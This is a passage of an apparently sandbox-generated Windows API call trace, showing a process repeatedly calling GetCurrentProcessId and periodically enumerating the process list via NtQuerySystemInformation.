[0299.031] GetCurrentProcessId () returned 0xbf4 [0299.031] GetCurrentProcessId () returned 0xbf4 [0299.031] GetCurrentProcessId () returned 0xbf4 [0299.031] GetCurrentProcessId () returned 0xbf4 [0299.031] GetCurrentProcessId () returned 0xbf4 [0299.031] GetCurrentProcessId () returned 0xbf4 [0299.031] GetCurrentProcessId () returned 0xbf4 [0299.031] GetCurrentProcessId () returned 0xbf4 [0299.031] GetCurrentProcessId () returned 0xbf4 [0299.031] GetCurrentProcessId () returned 0xbf4 [0299.031] GetCurrentProcessId () returned 0xbf4 [0299.031] GetCurrentProcessId () returned 0xbf4 [0299.031] GetCurrentProcessId () returned 0xbf4 [0299.031] GetCurrentProcessId () returned 0xbf4 [0299.031] GetCurrentProcessId () returned 0xbf4 [0299.031] GetCurrentProcessId () returned 0xbf4 [0299.031] GetCurrentProcessId () returned 0xbf4 [0299.031] GetCurrentProcessId () returned 0xbf4 [0299.031] GetCurrentProcessId () returned 0xbf4 [0299.031] GetCurrentProcessId () returned 0xbf4 [0299.031] GetCurrentProcessId () returned 0xbf4 [0299.031] GetCurrentProcessId () returned 0xbf4 [0299.031] GetCurrentProcessId () returned 0xbf4 [0299.032] GetCurrentProcessId () returned 0xbf4 [0299.032] GetCurrentProcessId () returned 0xbf4 [0299.032] GetCurrentProcessId () returned 0xbf4 [0299.032] GetCurrentProcessId () returned 0xbf4 [0299.032] GetCurrentProcessId () returned 0xbf4 [0299.032] GetCurrentProcessId () returned 0xbf4 [0299.032] GetCurrentProcessId () returned 0xbf4 [0299.032] GetCurrentProcessId () returned 0xbf4 [0299.032] GetCurrentProcessId () returned 0xbf4 [0299.032] GetCurrentProcessId () returned 0xbf4 [0299.032] GetCurrentProcessId () returned 0xbf4 [0299.032] GetCurrentProcessId () returned 0xbf4 [0299.032] GetCurrentProcessId () returned 0xbf4 [0299.032] GetCurrentProcessId () returned 0xbf4 [0299.032] GetCurrentProcessId () returned 0xbf4 [0299.032] GetCurrentProcessId () returned 0xbf4 [0299.032] GetCurrentProcessId () returned 0xbf4 [0299.032] GetCurrentProcessId () returned 0xbf4 [0299.032] GetCurrentProcessId () returned 0xbf4 [0299.032] GetCurrentProcessId () returned 0xbf4 [0299.032] GetCurrentProcessId () returned 0xbf4 [0299.032] GetCurrentProcessId () returned 0xbf4 [0299.032] GetCurrentProcessId () returned 0xbf4 [0299.032] GetCurrentProcessId () returned 0xbf4 [0299.032] GetCurrentProcessId () returned 0xbf4 [0299.032] GetCurrentProcessId () returned 0xbf4 [0299.032] GetCurrentProcessId () returned 0xbf4 [0299.032] GetCurrentProcessId () returned 0xbf4 [0299.032] GetCurrentProcessId () returned 0xbf4 [0299.032] GetCurrentProcessId () returned 0xbf4 [0299.032] GetCurrentProcessId () returned 0xbf4 [0299.032] GetCurrentProcessId () returned 0xbf4 [0299.032] GetCurrentProcessId () returned 0xbf4 [0299.032] GetCurrentProcessId () returned 0xbf4 [0299.032] GetCurrentProcessId () returned 0xbf4 [0299.032] GetCurrentProcessId () returned 0xbf4 [0299.032] GetCurrentProcessId () returned 0xbf4 [0299.033] GetCurrentProcessId () returned 0xbf4 [0299.033] GetCurrentProcessId () returned 0xbf4 [0299.033] GetCurrentProcessId () returned 0xbf4 [0299.033] GetCurrentProcessId () returned 0xbf4 [0299.033] GetCurrentProcessId () returned 0xbf4 [0299.033] GetCurrentProcessId () returned 0xbf4 [0299.033] GetCurrentProcessId () returned 0xbf4 [0299.033] GetCurrentProcessId () returned 0xbf4 [0299.033] GetCurrentProcessId () returned 0xbf4 [0299.033] GetCurrentProcessId () returned 0xbf4 [0299.033] GetCurrentProcessId () returned 0xbf4 [0299.033] GetCurrentProcessId () returned 0xbf4 [0299.033] GetCurrentProcessId () returned 0xbf4 [0299.033] GetCurrentProcessId () returned 0xbf4 [0299.033] GetCurrentProcessId () returned 0xbf4 [0299.033] GetCurrentProcessId () returned 0xbf4 [0299.033] GetCurrentProcessId () returned 0xbf4 [0299.033] GetCurrentProcessId () returned 0xbf4 [0299.033] GetCurrentProcessId () returned 0xbf4 [0299.033] GetCurrentProcessId () returned 0xbf4 [0299.541] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c890) returned 0x0 [0299.546] GetCurrentProcessId () returned 0xbf4 [0299.546] GetCurrentProcessId () returned 0xbf4 [0299.546] GetCurrentProcessId () returned 0xbf4 [0299.546] GetCurrentProcessId () returned 0xbf4 [0299.546] GetCurrentProcessId () returned 0xbf4 [0299.546] GetCurrentProcessId () returned 0xbf4 [0299.546] GetCurrentProcessId () returned 0xbf4 [0299.546] GetCurrentProcessId () returned 0xbf4 [0299.546] GetCurrentProcessId () returned 0xbf4 [0299.546] GetCurrentProcessId () returned 0xbf4 [0299.546] GetCurrentProcessId () returned 0xbf4 [0299.546] GetCurrentProcessId () returned 0xbf4 [0299.546] GetCurrentProcessId () returned 0xbf4 [0299.546] GetCurrentProcessId () returned 0xbf4 [0299.546] GetCurrentProcessId () returned 0xbf4 [0299.546] GetCurrentProcessId () returned 0xbf4 [0299.546] GetCurrentProcessId () returned 0xbf4 [0299.546] GetCurrentProcessId () returned 0xbf4 [0299.546] GetCurrentProcessId () returned 0xbf4 [0299.546] GetCurrentProcessId () returned 0xbf4 [0299.547] GetCurrentProcessId () returned 0xbf4 [0299.547] GetCurrentProcessId () returned 0xbf4 [0299.548] GetCurrentProcessId () returned 0xbf4 [0299.548] GetCurrentProcessId () returned 0xbf4 [0299.548] GetCurrentProcessId () returned 0xbf4 [0299.548] GetCurrentProcessId () returned 0xbf4 [0299.548] GetCurrentProcessId () returned 0xbf4 [0299.548] GetCurrentProcessId () returned 0xbf4 [0299.548] GetCurrentProcessId () returned 0xbf4 [0299.548] GetCurrentProcessId () returned 0xbf4 [0299.548] GetCurrentProcessId () returned 0xbf4 [0299.548] GetCurrentProcessId () returned 0xbf4 [0299.548] GetCurrentProcessId () returned 0xbf4 [0299.549] GetCurrentProcessId () returned 0xbf4 [0299.549] GetCurrentProcessId () returned 0xbf4 [0299.549] GetCurrentProcessId () returned 0xbf4 [0299.549] GetCurrentProcessId () returned 0xbf4 [0299.549] GetCurrentProcessId () returned 0xbf4 [0299.549] GetCurrentProcessId () returned 0xbf4 [0299.549] GetCurrentProcessId () returned 0xbf4 [0299.549] GetCurrentProcessId () returned 0xbf4 [0299.549] GetCurrentProcessId () returned 0xbf4 [0299.549] GetCurrentProcessId () returned 0xbf4 [0299.549] GetCurrentProcessId () returned 0xbf4 [0299.549] GetCurrentProcessId () returned 0xbf4 [0299.549] GetCurrentProcessId () returned 0xbf4 [0299.549] GetCurrentProcessId () returned 0xbf4 [0299.549] GetCurrentProcessId () returned 0xbf4 [0299.549] GetCurrentProcessId () returned 0xbf4 [0299.549] GetCurrentProcessId () returned 0xbf4 [0299.549] GetCurrentProcessId () returned 0xbf4 [0299.549] GetCurrentProcessId () returned 0xbf4 [0299.549] GetCurrentProcessId () returned 0xbf4 [0299.549] GetCurrentProcessId () returned 0xbf4 [0299.549] GetCurrentProcessId () returned 0xbf4 [0299.549] GetCurrentProcessId () returned 0xbf4 [0299.549] GetCurrentProcessId () returned 0xbf4 [0299.549] GetCurrentProcessId () returned 0xbf4 [0299.549] GetCurrentProcessId () returned 0xbf4 [0299.549] GetCurrentProcessId () returned 0xbf4 [0299.550] GetCurrentProcessId () returned 0xbf4 [0299.550] GetCurrentProcessId () returned 0xbf4 [0299.550] GetCurrentProcessId () returned 0xbf4 [0299.550] GetCurrentProcessId () returned 0xbf4 [0299.550] GetCurrentProcessId () returned 0xbf4 [0299.550] GetCurrentProcessId () returned 0xbf4 [0299.550] GetCurrentProcessId () returned 0xbf4 [0299.550] GetCurrentProcessId () returned 0xbf4 [0299.550] GetCurrentProcessId () returned 0xbf4 [0299.551] GetCurrentProcessId () returned 0xbf4 [0299.551] GetCurrentProcessId () returned 0xbf4 [0299.551] GetCurrentProcessId () returned 0xbf4 [0299.551] GetCurrentProcessId () returned 0xbf4 [0299.551] GetCurrentProcessId () returned 0xbf4 [0299.551] GetCurrentProcessId () returned 0xbf4 [0299.551] GetCurrentProcessId () returned 0xbf4 [0299.551] GetCurrentProcessId () returned 0xbf4 [0299.551] GetCurrentProcessId () returned 0xbf4 [0299.551] GetCurrentProcessId () returned 0xbf4 [0299.551] GetCurrentProcessId () returned 0xbf4 [0299.551] GetCurrentProcessId () returned 0xbf4 [0299.551] GetCurrentProcessId () returned 0xbf4 [0299.551] GetCurrentProcessId () returned 0xbf4 [0299.551] GetCurrentProcessId () returned 0xbf4 [0299.551] GetCurrentProcessId () returned 0xbf4 [0299.551] GetCurrentProcessId () returned 0xbf4 [0299.551] GetCurrentProcessId () returned 0xbf4 [0299.551] GetCurrentProcessId () returned 0xbf4 [0299.551] GetCurrentProcessId () returned 0xbf4 [0299.551] GetCurrentProcessId () returned 0xbf4 [0299.551] GetCurrentProcessId () returned 0xbf4 [0299.551] GetCurrentProcessId () returned 0xbf4 [0299.551] GetCurrentProcessId () returned 0xbf4 [0299.551] GetCurrentProcessId () returned 0xbf4 [0299.551] GetCurrentProcessId () returned 0xbf4 [0299.552] GetCurrentProcessId () returned 0xbf4 [0299.552] GetCurrentProcessId () returned 0xbf4 [0299.552] GetCurrentProcessId () returned 0xbf4 [0299.552] GetCurrentProcessId () returned 0xbf4 [0299.552] GetCurrentProcessId () returned 0xbf4 [0299.552] GetCurrentProcessId () returned 0xbf4 [0299.552] GetCurrentProcessId () returned 0xbf4 [0299.552] GetCurrentProcessId () returned 0xbf4 [0299.552] GetCurrentProcessId () returned 0xbf4 [0299.552] GetCurrentProcessId () returned 0xbf4 [0299.552] GetCurrentProcessId () returned 0xbf4 [0300.063] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c8e0) returned 0x0 [0300.071] GetCurrentProcessId () returned 0xbf4 [0300.071] GetCurrentProcessId () returned 0xbf4 [0300.071] GetCurrentProcessId () returned 0xbf4 [0300.071] GetCurrentProcessId () returned 0xbf4 [0300.071] GetCurrentProcessId () returned 0xbf4 [0300.071] GetCurrentProcessId () returned 0xbf4 [0300.071] GetCurrentProcessId () returned 0xbf4 [0300.071] GetCurrentProcessId () returned 0xbf4 [0300.071] GetCurrentProcessId () returned 0xbf4 [0300.071] GetCurrentProcessId () returned 0xbf4 [0300.071] GetCurrentProcessId () returned 0xbf4 [0300.071] GetCurrentProcessId () returned 0xbf4 [0300.071] GetCurrentProcessId () returned 0xbf4 [0300.071] GetCurrentProcessId () returned 0xbf4 [0300.071] GetCurrentProcessId () returned 0xbf4 [0300.071] GetCurrentProcessId () returned 0xbf4 [0300.072] GetCurrentProcessId () returned 0xbf4 [0300.072] GetCurrentProcessId () returned 0xbf4 [0300.072] GetCurrentProcessId () returned 0xbf4 [0300.072] GetCurrentProcessId () returned 0xbf4 [0300.072] GetCurrentProcessId () returned 0xbf4 [0300.072] GetCurrentProcessId () returned 0xbf4 [0300.072] GetCurrentProcessId () returned 0xbf4 [0300.072] GetCurrentProcessId () returned 0xbf4 [0300.072] GetCurrentProcessId () returned 0xbf4 [0300.072] GetCurrentProcessId () returned 0xbf4 [0300.072] GetCurrentProcessId () returned 0xbf4 [0300.072] GetCurrentProcessId () returned 0xbf4 [0300.072] GetCurrentProcessId () returned 0xbf4 [0300.072] GetCurrentProcessId () returned 0xbf4 [0300.072] GetCurrentProcessId () returned 0xbf4 [0300.072] GetCurrentProcessId () returned 0xbf4 [0300.072] GetCurrentProcessId () returned 0xbf4 [0300.072] GetCurrentProcessId () returned 0xbf4 [0300.072] GetCurrentProcessId () returned 0xbf4 [0300.072] GetCurrentProcessId () returned 0xbf4 [0300.072] GetCurrentProcessId () returned 0xbf4 [0300.072] GetCurrentProcessId () returned 0xbf4 [0300.072] GetCurrentProcessId () returned 0xbf4 [0300.072] GetCurrentProcessId () returned 0xbf4 [0300.072] GetCurrentProcessId () returned 0xbf4 [0300.072] GetCurrentProcessId () returned 0xbf4 [0300.072] GetCurrentProcessId () returned 0xbf4 [0300.072] GetCurrentProcessId () returned 0xbf4 [0300.072] GetCurrentProcessId () returned 0xbf4 [0300.072] GetCurrentProcessId () returned 0xbf4 [0300.073] GetCurrentProcessId () returned 0xbf4 [0300.073] GetCurrentProcessId () returned 0xbf4 [0300.073] GetCurrentProcessId () returned 0xbf4 [0300.073] GetCurrentProcessId () returned 0xbf4 [0300.073] GetCurrentProcessId () returned 0xbf4 [0300.073] GetCurrentProcessId () returned 0xbf4 [0300.073] GetCurrentProcessId () returned 0xbf4 [0300.073] GetCurrentProcessId () returned 0xbf4 [0300.073] GetCurrentProcessId () returned 0xbf4 [0300.073] GetCurrentProcessId () returned 0xbf4 [0300.073] GetCurrentProcessId () returned 0xbf4 [0300.073] GetCurrentProcessId () returned 0xbf4 [0300.073] GetCurrentProcessId () returned 0xbf4 [0300.073] GetCurrentProcessId () returned 0xbf4 [0300.073] GetCurrentProcessId () returned 0xbf4 [0300.073] GetCurrentProcessId () returned 0xbf4 [0300.073] GetCurrentProcessId () returned 0xbf4 [0300.073] GetCurrentProcessId () returned 0xbf4 [0300.073] GetCurrentProcessId () returned 0xbf4 [0300.073] GetCurrentProcessId () returned 0xbf4 [0300.073] GetCurrentProcessId () returned 0xbf4 [0300.073] GetCurrentProcessId () returned 0xbf4 [0300.073] GetCurrentProcessId () returned 0xbf4 [0300.073] GetCurrentProcessId () returned 0xbf4 [0300.073] GetCurrentProcessId () returned 0xbf4 [0300.073] GetCurrentProcessId () returned 0xbf4 [0300.073] GetCurrentProcessId () returned 0xbf4 [0300.073] GetCurrentProcessId () returned 0xbf4 [0300.073] GetCurrentProcessId () returned 0xbf4 [0300.073] GetCurrentProcessId () returned 0xbf4 [0300.073] GetCurrentProcessId () returned 0xbf4 [0300.074] GetCurrentProcessId () returned 0xbf4 [0300.074] GetCurrentProcessId () returned 0xbf4 [0300.074] GetCurrentProcessId () returned 0xbf4 [0300.074] GetCurrentProcessId () returned 0xbf4 [0300.074] GetCurrentProcessId () returned 0xbf4 [0300.074] GetCurrentProcessId () returned 0xbf4 [0300.074] GetCurrentProcessId () returned 0xbf4 [0300.074] GetCurrentProcessId () returned 0xbf4 [0300.074] GetCurrentProcessId () returned 0xbf4 [0300.074] GetCurrentProcessId () returned 0xbf4 [0300.074] GetCurrentProcessId () returned 0xbf4 [0300.074] GetCurrentProcessId () returned 0xbf4 [0300.074] GetCurrentProcessId () returned 0xbf4 [0300.074] GetCurrentProcessId () returned 0xbf4 [0300.074] GetCurrentProcessId () returned 0xbf4 [0300.074] GetCurrentProcessId () returned 0xbf4 [0300.074] GetCurrentProcessId () returned 0xbf4 [0300.074] GetCurrentProcessId () returned 0xbf4 [0300.074] GetCurrentProcessId () returned 0xbf4 [0300.074] GetCurrentProcessId () returned 0xbf4 [0300.074] GetCurrentProcessId () returned 0xbf4 [0300.074] GetCurrentProcessId () returned 0xbf4 [0300.074] GetCurrentProcessId () returned 0xbf4 [0300.074] GetCurrentProcessId () returned 0xbf4 [0300.074] GetCurrentProcessId () returned 0xbf4 [0300.074] GetCurrentProcessId () returned 0xbf4 [0300.074] GetCurrentProcessId () returned 0xbf4 [0300.074] GetCurrentProcessId () returned 0xbf4 [0300.074] GetCurrentProcessId () returned 0xbf4 [0300.579] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c8e0) returned 0x0 [0300.582] GetCurrentProcessId () returned 0xbf4 [0300.582] GetCurrentProcessId () returned 0xbf4 [0300.582] GetCurrentProcessId () returned 0xbf4 [0300.582] GetCurrentProcessId () returned 0xbf4 [0300.582] GetCurrentProcessId () returned 0xbf4 [0300.582] GetCurrentProcessId () returned 0xbf4 [0300.582] GetCurrentProcessId () returned 0xbf4 [0300.582] GetCurrentProcessId () returned 0xbf4 [0300.582] GetCurrentProcessId () returned 0xbf4 [0300.583] GetCurrentProcessId () returned 0xbf4 [0300.583] GetCurrentProcessId () returned 0xbf4 [0300.583] GetCurrentProcessId () returned 0xbf4 [0300.583] GetCurrentProcessId () returned 0xbf4 [0300.583] GetCurrentProcessId () returned 0xbf4 [0300.583] GetCurrentProcessId () returned 0xbf4 [0300.583] GetCurrentProcessId () returned 0xbf4 [0300.583] GetCurrentProcessId () returned 0xbf4 [0300.583] GetCurrentProcessId () returned 0xbf4 [0300.583] GetCurrentProcessId () returned 0xbf4 [0300.583] GetCurrentProcessId () returned 0xbf4 [0300.583] GetCurrentProcessId () returned 0xbf4 [0300.583] GetCurrentProcessId () returned 0xbf4 [0300.583] GetCurrentProcessId () returned 0xbf4 [0300.583] GetCurrentProcessId () returned 0xbf4 [0300.583] GetCurrentProcessId () returned 0xbf4 [0300.583] GetCurrentProcessId () returned 0xbf4 [0300.583] GetCurrentProcessId () returned 0xbf4 [0300.583] GetCurrentProcessId () returned 0xbf4 [0300.583] GetCurrentProcessId () returned 0xbf4 [0300.583] GetCurrentProcessId () returned 0xbf4 [0300.583] GetCurrentProcessId () returned 0xbf4 [0300.583] GetCurrentProcessId () returned 0xbf4 [0300.583] GetCurrentProcessId () returned 0xbf4 [0300.583] GetCurrentProcessId () returned 0xbf4 [0300.583] GetCurrentProcessId () returned 0xbf4 [0300.583] GetCurrentProcessId () returned 0xbf4 [0300.583] GetCurrentProcessId () returned 0xbf4 [0300.583] GetCurrentProcessId () returned 0xbf4 [0300.583] GetCurrentProcessId () returned 0xbf4 [0300.584] GetCurrentProcessId () returned 0xbf4 [0300.584] GetCurrentProcessId () returned 0xbf4 [0300.584] GetCurrentProcessId () returned 0xbf4 [0300.584] GetCurrentProcessId () returned 0xbf4 [0300.584] GetCurrentProcessId () returned 0xbf4 [0300.584] GetCurrentProcessId () returned 0xbf4 [0300.584] GetCurrentProcessId () returned 0xbf4 [0300.584] GetCurrentProcessId () returned 0xbf4 [0300.584] GetCurrentProcessId () returned 0xbf4 [0300.584] GetCurrentProcessId () returned 0xbf4 [0300.584] GetCurrentProcessId () returned 0xbf4 [0300.584] GetCurrentProcessId () returned 0xbf4 [0300.584] GetCurrentProcessId () returned 0xbf4 [0300.584] GetCurrentProcessId () returned 0xbf4 [0300.584] GetCurrentProcessId () returned 0xbf4 [0300.584] GetCurrentProcessId () returned 0xbf4 [0300.584] GetCurrentProcessId () returned 0xbf4 [0300.584] GetCurrentProcessId () returned 0xbf4 [0300.584] GetCurrentProcessId () returned 0xbf4 [0300.584] GetCurrentProcessId () returned 0xbf4 [0300.584] GetCurrentProcessId () returned 0xbf4 [0300.584] GetCurrentProcessId () returned 0xbf4 [0300.584] GetCurrentProcessId () returned 0xbf4 [0300.584] GetCurrentProcessId () returned 0xbf4 [0300.584] GetCurrentProcessId () returned 0xbf4 [0300.584] GetCurrentProcessId () returned 0xbf4 [0300.584] GetCurrentProcessId () returned 0xbf4 [0300.584] GetCurrentProcessId () returned 0xbf4 [0300.584] GetCurrentProcessId () returned 0xbf4 [0300.584] GetCurrentProcessId () returned 0xbf4 [0300.584] GetCurrentProcessId () returned 0xbf4 [0300.585] GetCurrentProcessId () returned 0xbf4 [0300.585] GetCurrentProcessId () returned 0xbf4 [0300.585] GetCurrentProcessId () returned 0xbf4 [0300.585] GetCurrentProcessId () returned 0xbf4 [0300.585] GetCurrentProcessId () returned 0xbf4 [0300.585] GetCurrentProcessId () returned 0xbf4 [0300.585] GetCurrentProcessId () returned 0xbf4 [0300.585] GetCurrentProcessId () returned 0xbf4 [0300.585] GetCurrentProcessId () returned 0xbf4 [0300.585] GetCurrentProcessId () returned 0xbf4 [0300.585] GetCurrentProcessId () returned 0xbf4 [0300.585] GetCurrentProcessId () returned 0xbf4 [0300.585] GetCurrentProcessId () returned 0xbf4 [0300.585] GetCurrentProcessId () returned 0xbf4 [0300.585] GetCurrentProcessId () returned 0xbf4 [0300.585] GetCurrentProcessId () returned 0xbf4 [0300.585] GetCurrentProcessId () returned 0xbf4 [0300.585] GetCurrentProcessId () returned 0xbf4 [0300.585] GetCurrentProcessId () returned 0xbf4 [0300.585] GetCurrentProcessId () returned 0xbf4 [0300.585] GetCurrentProcessId () returned 0xbf4 [0300.585] GetCurrentProcessId () returned 0xbf4 [0300.585] GetCurrentProcessId () returned 0xbf4 [0300.585] GetCurrentProcessId () returned 0xbf4 [0300.585] GetCurrentProcessId () returned 0xbf4 [0300.585] GetCurrentProcessId () returned 0xbf4 [0300.585] GetCurrentProcessId () returned 0xbf4 [0300.585] GetCurrentProcessId () returned 0xbf4 [0300.585] GetCurrentProcessId () returned 0xbf4 [0300.585] GetCurrentProcessId () returned 0xbf4 [0300.585] GetCurrentProcessId () returned 0xbf4 [0300.586] GetCurrentProcessId () returned 0xbf4 [0300.586] GetCurrentProcessId () returned 0xbf4 [0300.586] GetCurrentProcessId () returned 0xbf4 [0300.586] GetCurrentProcessId () returned 0xbf4 [0300.586] GetCurrentProcessId () returned 0xbf4 [0301.129] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c8e0) returned 0x0 [0301.134] GetCurrentProcessId () returned 0xbf4 [0301.135] GetCurrentProcessId () returned 0xbf4 [0301.135] GetCurrentProcessId () returned 0xbf4 [0301.135] GetCurrentProcessId () returned 0xbf4 [0301.135] GetCurrentProcessId () returned 0xbf4 [0301.135] GetCurrentProcessId () returned 0xbf4 [0301.135] GetCurrentProcessId () returned 0xbf4 [0301.135] GetCurrentProcessId () returned 0xbf4 [0301.135] GetCurrentProcessId () returned 0xbf4 [0301.135] GetCurrentProcessId () returned 0xbf4 [0301.135] GetCurrentProcessId () returned 0xbf4 [0301.135] GetCurrentProcessId () returned 0xbf4 [0301.135] GetCurrentProcessId () returned 0xbf4 [0301.135] GetCurrentProcessId () returned 0xbf4 [0301.135] GetCurrentProcessId () returned 0xbf4 [0301.135] GetCurrentProcessId () returned 0xbf4 [0301.135] GetCurrentProcessId () returned 0xbf4 [0301.135] GetCurrentProcessId () returned 0xbf4 [0301.135] GetCurrentProcessId () returned 0xbf4 [0301.135] GetCurrentProcessId () returned 0xbf4 [0301.135] GetCurrentProcessId () returned 0xbf4 [0301.135] GetCurrentProcessId () returned 0xbf4 [0301.135] GetCurrentProcessId () returned 0xbf4 [0301.135] GetCurrentProcessId () returned 0xbf4 [0301.135] GetCurrentProcessId () returned 0xbf4 [0301.135] GetCurrentProcessId () returned 0xbf4 [0301.135] GetCurrentProcessId () returned 0xbf4 [0301.135] GetCurrentProcessId () returned 0xbf4 [0301.135] GetCurrentProcessId () returned 0xbf4 [0301.135] GetCurrentProcessId () returned 0xbf4 [0301.135] GetCurrentProcessId () returned 0xbf4 [0301.135] GetCurrentProcessId () returned 0xbf4 [0301.136] GetCurrentProcessId () returned 0xbf4 [0301.136] GetCurrentProcessId () returned 0xbf4 [0301.136] GetCurrentProcessId () returned 0xbf4 [0301.136] GetCurrentProcessId () returned 0xbf4 [0301.136] GetCurrentProcessId () returned 0xbf4 [0301.136] GetCurrentProcessId () returned 0xbf4 [0301.136] GetCurrentProcessId () returned 0xbf4 [0301.136] GetCurrentProcessId () returned 0xbf4 [0301.136] GetCurrentProcessId () returned 0xbf4 [0301.136] GetCurrentProcessId () returned 0xbf4 [0301.136] GetCurrentProcessId () returned 0xbf4 [0301.136] GetCurrentProcessId () returned 0xbf4 [0301.136] GetCurrentProcessId () returned 0xbf4 [0301.136] GetCurrentProcessId () returned 0xbf4 [0301.136] GetCurrentProcessId () returned 0xbf4 [0301.136] GetCurrentProcessId () returned 0xbf4 [0301.136] GetCurrentProcessId () returned 0xbf4 [0301.136] GetCurrentProcessId () returned 0xbf4 [0301.136] GetCurrentProcessId () returned 0xbf4 [0301.136] GetCurrentProcessId () returned 0xbf4 [0301.136] GetCurrentProcessId () returned 0xbf4 [0301.136] GetCurrentProcessId () returned 0xbf4 [0301.136] GetCurrentProcessId () returned 0xbf4 [0301.136] GetCurrentProcessId () returned 0xbf4 [0301.136] GetCurrentProcessId () returned 0xbf4 [0301.136] GetCurrentProcessId () returned 0xbf4 [0301.136] GetCurrentProcessId () returned 0xbf4 [0301.136] GetCurrentProcessId () returned 0xbf4 [0301.136] GetCurrentProcessId () returned 0xbf4 [0301.136] GetCurrentProcessId () returned 0xbf4 [0301.136] GetCurrentProcessId () returned 0xbf4 [0301.137] GetCurrentProcessId () returned 0xbf4 [0301.137] GetCurrentProcessId () returned 0xbf4 [0301.137] GetCurrentProcessId () returned 0xbf4 [0301.137] GetCurrentProcessId () returned 0xbf4 [0301.137] GetCurrentProcessId () returned 0xbf4 [0301.137] GetCurrentProcessId () returned 0xbf4 [0301.137] GetCurrentProcessId () returned 0xbf4 [0301.137] GetCurrentProcessId () returned 0xbf4 [0301.137] GetCurrentProcessId () returned 0xbf4 [0301.137] GetCurrentProcessId () returned 0xbf4 [0301.137] GetCurrentProcessId () returned 0xbf4 [0301.137] GetCurrentProcessId () returned 0xbf4 [0301.137] GetCurrentProcessId () returned 0xbf4 [0301.137] GetCurrentProcessId () returned 0xbf4 [0301.137] GetCurrentProcessId () returned 0xbf4 [0301.137] GetCurrentProcessId () returned 0xbf4 [0301.137] GetCurrentProcessId () returned 0xbf4 [0301.137] GetCurrentProcessId () returned 0xbf4 [0301.137] GetCurrentProcessId () returned 0xbf4 [0301.137] GetCurrentProcessId () returned 0xbf4 [0301.137] GetCurrentProcessId () returned 0xbf4 [0301.137] GetCurrentProcessId () returned 0xbf4 [0301.137] GetCurrentProcessId () returned 0xbf4 [0301.137] GetCurrentProcessId () returned 0xbf4 [0301.137] GetCurrentProcessId () returned 0xbf4 [0301.137] GetCurrentProcessId () returned 0xbf4 [0301.137] GetCurrentProcessId () returned 0xbf4 [0301.137] GetCurrentProcessId () returned 0xbf4 [0301.137] GetCurrentProcessId () returned 0xbf4 [0301.137] GetCurrentProcessId () returned 0xbf4 [0301.137] GetCurrentProcessId () returned 0xbf4 [0301.137] GetCurrentProcessId () returned 0xbf4 [0301.138] GetCurrentProcessId () returned 0xbf4 [0301.138] GetCurrentProcessId () returned 0xbf4 [0301.138] GetCurrentProcessId () returned 0xbf4 [0301.138] GetCurrentProcessId () returned 0xbf4 [0301.138] GetCurrentProcessId () returned 0xbf4 [0301.138] GetCurrentProcessId () returned 0xbf4 [0301.138] GetCurrentProcessId () returned 0xbf4 [0301.138] GetCurrentProcessId () returned 0xbf4 [0301.138] GetCurrentProcessId () returned 0xbf4 [0301.138] GetCurrentProcessId () returned 0xbf4 [0301.138] GetCurrentProcessId () returned 0xbf4 [0301.642] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c8e0) returned 0x0 [0301.666] GetCurrentProcessId () returned 0xbf4 [0301.666] GetCurrentProcessId () returned 0xbf4 [0301.666] GetCurrentProcessId () returned 0xbf4 [0301.666] GetCurrentProcessId () returned 0xbf4 [0301.666] GetCurrentProcessId () returned 0xbf4 [0301.666] GetCurrentProcessId () returned 0xbf4 [0301.666] GetCurrentProcessId () returned 0xbf4 [0301.666] GetCurrentProcessId () returned 0xbf4 [0301.666] GetCurrentProcessId () returned 0xbf4 [0301.667] GetCurrentProcessId () returned 0xbf4 [0301.667] GetCurrentProcessId () returned 0xbf4 [0301.667] GetCurrentProcessId () returned 0xbf4 [0301.667] GetCurrentProcessId () returned 0xbf4 [0301.667] GetCurrentProcessId () returned 0xbf4 [0301.667] GetCurrentProcessId () returned 0xbf4 [0301.667] GetCurrentProcessId () returned 0xbf4 [0301.667] GetCurrentProcessId () returned 0xbf4 [0301.667] GetCurrentProcessId () returned 0xbf4 [0301.667] GetCurrentProcessId () returned 0xbf4 [0301.667] GetCurrentProcessId () returned 0xbf4 [0301.667] GetCurrentProcessId () returned 0xbf4 [0301.667] GetCurrentProcessId () returned 0xbf4 [0301.667] GetCurrentProcessId () returned 0xbf4 [0301.667] GetCurrentProcessId () returned 0xbf4 [0301.667] GetCurrentProcessId () returned 0xbf4 [0301.667] GetCurrentProcessId () returned 0xbf4 [0301.667] GetCurrentProcessId () returned 0xbf4 [0301.667] GetCurrentProcessId () returned 0xbf4 [0301.667] GetCurrentProcessId () returned 0xbf4 [0301.667] GetCurrentProcessId () returned 0xbf4 [0301.667] GetCurrentProcessId () returned 0xbf4 [0301.667] GetCurrentProcessId () returned 0xbf4 [0301.667] GetCurrentProcessId () returned 0xbf4 [0301.667] GetCurrentProcessId () returned 0xbf4 [0301.667] GetCurrentProcessId () returned 0xbf4 [0301.667] GetCurrentProcessId () returned 0xbf4 [0301.667] GetCurrentProcessId () returned 0xbf4 [0301.667] GetCurrentProcessId () returned 0xbf4 [0301.667] GetCurrentProcessId () returned 0xbf4 [0301.667] GetCurrentProcessId () returned 0xbf4 [0301.667] GetCurrentProcessId () returned 0xbf4 [0301.667] GetCurrentProcessId () returned 0xbf4 [0301.667] GetCurrentProcessId () returned 0xbf4 [0301.667] GetCurrentProcessId () returned 0xbf4 [0301.667] GetCurrentProcessId () returned 0xbf4 [0301.668] GetCurrentProcessId () returned 0xbf4 [0301.668] GetCurrentProcessId () returned 0xbf4 [0301.668] GetCurrentProcessId () returned 0xbf4 [0301.668] GetCurrentProcessId () returned 0xbf4 [0301.668] GetCurrentProcessId () returned 